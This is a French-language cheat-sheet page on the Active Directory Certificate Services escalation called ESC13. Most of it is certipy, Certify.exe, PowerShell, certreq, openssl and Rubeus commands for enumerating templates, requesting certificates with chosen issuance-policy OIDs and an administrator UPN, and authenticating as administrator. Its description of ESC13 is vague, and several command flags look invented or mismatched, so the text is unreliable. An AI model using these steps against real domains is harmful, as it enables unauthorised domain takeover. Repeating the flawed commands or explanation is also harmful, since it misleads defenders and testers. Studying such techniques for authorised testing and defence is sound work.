Aller au contenu

ESC13

Description

ESC13 exploite des modèles de certificats qui permettent l'issuance policy avec des OID (Object Identifier) personnalisés ou mal configurés, permettant à un attaquant de créer des certificats avec des politiques d'émission qui contournent les vérifications d'authentification normales ou d'obtenir des privilèges élevés via des politiques d'émission spécifiques.

Conditions vulnérables

Un modèle de certificat est vulnérable à ESC13 si :

  1. Issuance Policy mal configurée - Le modèle utilise des OID d'émission personnalisés ou dangereux
  2. Politiques d'émission contournables - Les vérifications peuvent être bypassed via des OID spécifiques
  3. Enrollment autorisé - L'utilisateur a les droits Enroll ou AutoEnroll
  4. Validation insuffisante des OID - La CA n'effectue pas de validation stricte des politiques d'émission

Exploitation depuis linux (certipy)

Enumération des templates avec politiques d'émission vulnérables :

certipy find -u [email protected] -p password -target dc01.domain.local

# Énumération avec focus sur les issuance policies
certipy find -u [email protected] -p password -target dc01.domain.local -json -output vulnerabilities.json 

# Recherche spécifique des OID d'émission suspects
certipy find -u [email protected] -p password -target dc01.domain.local -vulnerable | grep -A10 -B5 "Issuance.*Policy\|OID"

Exploitation avec OID d'émission personnalisé :

# Demande d'un certificat avec issuance policy malveillante
certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'IssuancePolicyTemplate' -issuance-policy "1.3.6.1.4.1.311.21.8.123456789.1"

# Avec combinaison SAN et issuance policy
certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'IssuancePolicyTemplate' -upn [email protected] -issuance-policy "1.3.6.1.4.1.311.21.8.999999.1"

Exploitation avec forge d'OID spécifique :

# Utilisation d'un OID connu pour bypass
certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'PolicyTemplate' -issuance-policy "1.3.6.1.4.1.311.21.8.1.1" -application-policy "1.3.6.1.5.5.7.3.2"

Authentification avec le certificat forgé :

# Authentification avec le certificat contenant la politique malveillante
certipy auth -pfx user.pfx -username user -domain domain.local -dc-ip 192.168.1.10

# Si escalation réussie
certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip 192.168.1.10

Exploitation depuis windows (certify.exe)

Enumération des templates vulnérables :

# Énumération des modèles vulnérables 
Certify.exe find /vulnerable 

# Filtrage spécifique ESC13 - issuance policies
Certify.exe find /vulnerable | findstr "Issuance.*Policy\|OID"

# Vérification manuelle des issuance policies
Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties * | Where-Object {
    $_.'msPKI-Certificate-Policy' -ne $null
} | Select-Object Name, 'msPKI-Certificate-Policy'

Exploitation du template vulnérable :

# Demande d'un certificat avec issuance policy spécifique
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:IssuancePolicyTemplate /policy:"1.3.6.1.4.1.311.21.8.123456789.1"

# Avec OID custom pour bypass
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:PolicyTemplate /policy:"1.3.6.1.4.1.311.21.8.999999.1" /altname:administrator@domain.local

Forge d'OID via PowerShell :

# Création d'une demande avec OID personnalisé
$cert = New-SelfSignedCertificate -Subject "CN=user" -KeyUsage DigitalSignature,KeyEncipherment
$oid = New-Object System.Security.Cryptography.Oid("1.3.6.1.4.1.311.21.8.123456789.1")
$extension = New-Object System.Security.Cryptography.X509Certificates.X509Extension($oid, $false, @(0x30,0x00))

# Utilisation avec certreq pour demande personnalisée
certreq -new -config "DC01.domain.local\domain-DC01-CA" custom_request.inf custom_cert.req

Authentification avec le certificat obtenu :

# Conversion du certificat si nécessaire
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx 

# Authentification avec le certificat 
Rubeus.exe asktgt /user:user /certificate:cert.pfx /password:password123 /ptt

# Test d'escalation si politique malveillante acceptée
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:password123 /ptt